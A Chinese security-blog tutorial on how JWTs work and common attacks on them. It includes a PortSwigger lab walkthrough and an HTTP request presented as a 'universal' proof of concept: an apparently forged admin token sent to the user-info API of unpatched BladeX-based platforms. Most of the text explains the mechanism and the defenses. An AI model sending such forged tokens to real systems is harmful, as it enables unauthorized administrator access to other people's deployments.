freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

JWT原理解析与实战通杀(附带POC)
LiKu 2024-07-09 00:36:32 139151

JWT的原理

什么是JWT

JWT(JSON Web Token)是一种用于在各方之间作为JSON对象安全地传输信息的开放标准。信息可以被验证和信任,因为它是经过数字签名的。JWT通常用于身份验证和信息交换。

JWT由三个部分组成,用点号(.)分隔:

  1. Header(头部)

  2. Payload(负载)

  3. Signature(签名)

这三个部分分别进行Base64Url编码后,用点号(.)连接在一起构成一个JWT。

知识补充:Base64Url和Base64

Base64Url编码是Base64编码的一种变体,专门用于URL和文件名中,以避免特殊字符带来的问题。它与标准的Base64编码的主要区别在于字符集和填充字符。

  1. 字符集不同

    • 标准Base64编码使用字符+/

    • Base64Url编码使用字符-_,以避免URL中的特殊字符问题。

  2. 去掉填充字符

    • 标准Base64编码通常使用=作为填充字符,以确保编码后的字符串长度是4的倍数。

    • Base64Url编码则去掉了填充字符=,从而避免了URL解析中的问题。

Header

Header通常包含两个部分:签名算法和令牌类型。例如:

{
"alg": "HS256",
"typ": "JWT"
}

这个头部表示使用HMAC SHA-256算法签名,并声明这是一个JWT。

Payload

Payload是JWT的主体部分,包含声明(claims)。声明是有关实体(通常是用户)和其他数据的声明。声明分为三类:

  • Registered claims(注册声明)

  • Public claims(公共声明)

  • Private claims(私有声明)

例如:

{
"sub": "1234567890",
"name": "John Doe",
"iat": 1516239022
}

Signature

签名部分用于验证消息在传输过程中是否未被篡改。签名是用header中指定的算法生成的,包括编码后的header、编码后的payload和一个密钥。例如,对于HMAC SHA-256算法,签名如下:

HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret
)

举例(JWT完整流程)

假设你现在有一个应用,需要用户登录后获取访问权限。

1. 用户登录

用户在登录页面输入用户名和密码,点击登录。服务器接收到登录请求并验证用户的凭证。

2. 生成JWT

如果用户的凭证(账号密码)正确,服务器将生成一个JWT。假如服务器将生成的JWT为:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

让我们详细分解这个JWT的生成过程,一共三个部分,每个部分被点号(.)截断


eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9

1720455735_668c12378d6a804004272.png!small?1720455735661

base64url解码一下得到

{
"alg": "HS256",
"typ": "JWT"
}

这个头部表示我们将使用HMAC SHA-256算法进行签名,并且这是一个JWT。

第二部分:Payload

eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ

base64url解码一下得到

1720455759_668c124f2a0f8ea048c93.png!small?1720455760652

{
"sub": "1234567890",
"name": "John Doe",
"iat": 1516239022
}

这个负载部分包含了一些声明,比如用户ID(sub)、用户名(name)和签发时间(iat)。

第三部分:Signature

SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

第三部分签名的生成是由第一部分和第二部分组成的

我们使用密钥(secret)来生成签名。签名是使用以下方法生成的:

  1. 将编码后的Header和Payload用点号(.)连接在一起:

    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ
  2. 使用HMAC SHA-256算法和密钥secret对上述字符串进行签名:

    import hmac
    import hashlib
    import base64

    header_payload = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ"
    secret = "secret"
    signature = hmac.new(secret.encode(), header_payload.encode(), hashlib.sha256).digest()
    signature_base64 = base64.urlsafe_b64encode(signature).rstrip(b'=').decode()
    print(signature_base64)

    生成的第三部分签名是:

    SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

最后,将编码后的Header、Payload和生成的Signature用点号(.)连接在一起,形成完整的JWT:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

3. 返回JWT

服务器将生成的JWT返回给客户端。客户端可以将JWT存储在本地存储(Local Storage)或Cookie中。

4. 携带JWT进行请求

在用户登录后的每次请求中,客户端会在请求头中携带JWT,例如:

Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

5. 服务器验证JWT

服务器接收到请求后,会验证JWT的签名是否正确。验证过程如下:

  1. 从JWT中提取出header和payload部分。

  2. 使用同样的签名密钥和header中的算法,重新生成签名。

  3. 将重新生成的签名与JWT中的签名进行比较,如果相同,则验证通过。

6. 响应请求

如果JWT有效且未过期,服务器处理请求并返回响应。

在线平台

JWT在线构造和解构的平台: https://jwt.io/

1720455774_668c125ea88648f5c705f.png!small?1720455774681

JWT攻防

常见攻击方法

  1. 暴力破解签名密钥:攻击者可以使用暴力破解的方法猜测JWT的签名密钥。如果签名密钥比较弱,这种攻击可能会成功。

  2. 算法替换攻击:如果服务器在验证JWT时不严格检查头部的alg字段,攻击者可以将alg字段改为none,绕过签名验证。

  3. 伪造Token:如果服务器使用对称加密算法(如HS256),并且密钥泄露,攻击者可以使用密钥伪造有效的JWT。

靶场

靶场一:实验室:通过未经验证的签名绕过 JWT 身份验证 |网络安全学院 (portswigger.net)

1720455783_668c1267c8aaaeb19c04d.png!small?1720455783843

根据题目要求得知,需使用账号+密码:wiener : peter登录,后访问/admin页面,根据要求删除carlos用户即可通关。

1720455790_668c126ec016b48cf9829.png!small?1720455791287

登录成功后,在bp里面看数据包,可发现JWT数据。

1720455798_668c1276d6427d232ddef.png!small?1720455798942

来这里解码一下JSON Web Tokens - jwt.io

1720455806_668c127ed95baa59c05fe.png!small?1720455807337

发现Payload中当前登录用户为wiener。改包请求为/admin

1720455814_668c128631c9cc13a9fb1.png!small?1720455815020

意思就是只允许administrator访问

那将JWT数据中Payload的wiener修改成administrator后继续尝试请求。

1720455821_668c128dbd4984d179d0b.png!small?1720455821789

1720455828_668c12947c4b263f553bd.png!small?1720455828571

/admin/delele?username=colos 删除用户

1720455834_668c129ada2a332297e70.png!small?1720455834893

实战通杀(附带POC)

某智慧园区管理平台,因为还没有修复,这里就打码了。

1720455843_668c12a30bde39498396e.png!small?1720455843190

一眼顶真,用的blade的框架,

1720455849_668c12a9bef97670ad725.png!small?1720455849847

poc:

GET /api/blade-user/info HTTP/1.1
Host: ***
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Blade-Auth: bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJ1c2VyX25hbWUiOiJhZG1pbiIsInJlYWxfbmFtZSI6IueuoeeQhuWRmCIsImF1dGhvcml0aWVzIjpbImFkbWluaXN0cmF0b3IiXSwiY2xpZW50X2lkIjoic2FiZXIiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwibGljZW5zZSI6InBvd2VyZWQgYnkgYmxhZGV4IiwicG9zdF9pZCI6IjExMjM1OTg4MTc3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODE2NzM4Njc1MjAxIiwic2NvcGUiOlsiYWxsIl0sIm5pY2tfbmFtZSI6IueuoeeQhuWRmCIsIm9hdXRoX2lkIjoiIiwiZGV0YWlsIjp7InR5cGUiOiJ3ZWIifSwiYWNjb3VudCI6ImFkbWluIn0.RtS67Tmbo7yFKHyMz_bMQW7dfgNjxZW47KtnFcwItxQ

分析一下这个poc

解析JWT中的Header、Payload和Signature来了解其内容和含义。一步一步来分解和解释这个JWT。

1. 分离JWT的各个部分

JWT由三部分组成:Header、Payload和Signature,这些部分通过点号(.)分隔。给定的JWT是:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJ1c2VyX25hbWUiOiJhZG1pbiIsInJlYWxfbmFtZSI6IueuoeeQhuWRmCIsImF1dGhvcml0aWVzIjpbImFkbWluaXN0cmF0b3IiXSwiY2xpZW50X2lkIjoic2FiZXIiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwibGljZW5zZSI6InBvd2VyZWQgYnkgYmxhZGV4IiwicG9zdF9pZCI6IjExMjM1OTg4MTc3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODE2NzM4Njc1MjAxIiwic2NvcGUiOlsiYWxsIl0sIm5pY2tfbmFtZSI6IueuoeeQhuWRmCIsIm9hdXRoX2lkIjoiIiwiZGV0YWlsIjp7InR5cGUiOiJ3ZWIifSwiYWNjb3VudCI6ImFkbWluIn0.RtS67Tmbo7yFKHyMz_bMQW7dfgNjxZW47KtnFcwItxQ

分离后得到:

  • Header:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9

  • Payload:eyJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJ1c2VyX25hbWUiOiJhZG1pbiIsInJlYWxfbmFtZSI6IueuoeeQhuWRmCIsImF1dGhvcml0aWVzIjpbImFkbWluaXN0cmF0b3IiXSwiY2xpZW50X2lkIjoic2FiZXIiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwibGljZW5zZSI6InBvd2VyZWQgYnkgYmxhZGV4IiwicG9zdF9pZCI6IjExMjM1OTg4MTc3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODE2NzM4Njc1MjAxIiwic2NvcGUiOlsiYWxsIl0sIm5pY2tfbmFtZSI6IueuoeeQhuWRmCIsIm9hdXRoX2lkIjoiIiwiZGV0YWlsIjp7InR5cGUiOiJ3ZWIifSwiYWNjb3VudCI6ImFkbWluIn0

  • Signature:RtS67Tmbo7yFKHyMz_bMQW7dfgNjxZW47KtnFcwItxQ

2. 解码Base64Url

使用Base64Url解码Header和Payload:

Header

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9

解码后得到:

{
"alg": "HS256",
"typ": "JWT"
}

Payload

eyJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJ1c2VyX25hbWUiOiJhZG1pbiIsInJlYWxfbmFtZSI6IueuoeeQhuWRmCIsImF1dGhvcml0aWVzIjpbImFkbWluaXN0cmF0b3IiXSwiY2xpZW50X2lkIjoic2FiZXIiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwibGljZW5zZSI6InBvd2VyZWQgYnkgYmxhZGV4IiwicG9zdF9pZCI6IjExMjM1OTg4MTc3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODE2NzM4Njc1MjAxIiwic2NvcGUiOlsiYWxsIl0sIm5pY2tfbmFtZSI6IueuoeeQhuWRmCIsIm9hdXRoX2lkIjoiIiwiZGV0YWlsIjp7InR5cGUiOiJ3ZWIifSwiYWNjb3VudCI6ImFkbWluIn0

解码后得到:

{
"tenant_id": "000000",
"user_name": "admin",
"real_name": "管理员",
"authorities": ["administrator"],
"client_id": "saber",
"role_name": "administrator",
"license": "powered by bladex",
"post_id": "1123598817738675201",
"user_id": "1123598821738675201",
"role_id": "1123598816738675201",
"scope": ["all"],
"nick_name": "管理员",
"oauth_id": "",
"detail": {
"type": "web"
},
"account": "admin"
}

3. 分析解码后的数据

Header部分

Header部分指定了JWT的元数据:

  • alg:签名算法,这里是HS256(HMAC SHA-256)

  • typ:令牌类型,这里是JWT

Payload部分

Payload部分包含了JWT的实际数据,包含多个字段:

  • tenant_id: "000000" - 租户ID

  • user_name: "admin" - 用户名

  • real_name: "管理员" - 真实姓名

  • authorities: ["administrator"] - 权限列表,这里是administrator

  • client_id: "saber" - 客户端ID

  • role_name: "administrator" - 角色名

  • license: "powered by bladex" - 许可证信息

  • post_id: "1123598817738675201" - 职位ID

  • user_id: "1123598821738675201" - 用户ID

  • role_id: "1123598816738675201" - 角色ID

  • scope: ["all"] - 作用域

  • nick_name: "管理员" - 昵称

  • oauth_id: "" - OAuth ID

  • detail: {"type": "web"} - 详细信息,类型为web

  • account: "admin" - 账号

Signature部分

Signature部分用于验证JWT的完整性和真实性。它是通过以下方式生成的:

  1. 将Header和Payload用点号连接起来:

    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJ1c2VyX25hbWUiOiJhZG1pbiIsInJlYWxfbmFtZSI6IueuoeeQhuWRmCIsImF1dGhvcml0aWVzIjpbImFkbWluaXN0cmF0b3IiXSwiY2xpZW50X2lkIjoic2FiZXIiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwibGljZW5zZSI6InBvd2VyZWQgYnkgYmxhZGV4IiwicG9zdF9pZCI6IjExMjM1OTg4MTc3Mzg2NzUyMDEiLCJ1c2VyX2lkIjoiMTEyMzU5ODgyMTczODY3NTIwMSIsInJvbGVfaWQiOiIxMTIzNTk4ODE2NzM4Njc1MjAxIiwic2NvcGUiOlsiYWxsIl0sIm5pY2tfbmFtZSI6IueuoeeQhuWRmCIsIm9hdXRoX2lkIjoiIiwiZGV0YWlsIjp7InR5cGUiOiJ3ZWIifSwiYWNjb3VudCI6ImFkbWluIn0
  2. 使用HMAC SHA-256算法和一个密钥对上述字符串进行签名,生成Signature。

Signature的计算需要密钥,而给定的JWT并未提供密钥,因此不能验证这个JWT的Signature部分。

没密钥!!! 下播

防御措施

  1. 使用强密钥:确保签名密钥足够强,难以被暴力破解。

  2. 严格验证算法:在服务器端严格验证alg字段,拒绝none算法。

  3. 使用非对称加密:使用非对称加密算法(如RS256),即使公钥泄露,攻击者也无法伪造JWT。

  4. 定期更换密钥:定期更换签名密钥以增加安全性。

  5. 设置适当的过期时间:设置合理的JWT过期时间,减少被盗用的风险。

通过了解JWT的工作原理和常见的渗透手段,可以有效地加强JWT的安全性,防止信息泄露和未经授权的访问。

# web安全 # JWT
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 LiKu 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
LiKu LV.3
奉天安全—LiKu
  • 6 文章数
  • 8 关注者
SQL注入原理剖析以及靶场+实战(CTF与SRC进阶版)
2024-11-04
记一次由前端js引发的SQL注入通用高危
2024-08-19
护网面试:设备面试题+蓝队知识题+流量
2024-07-26
文章目录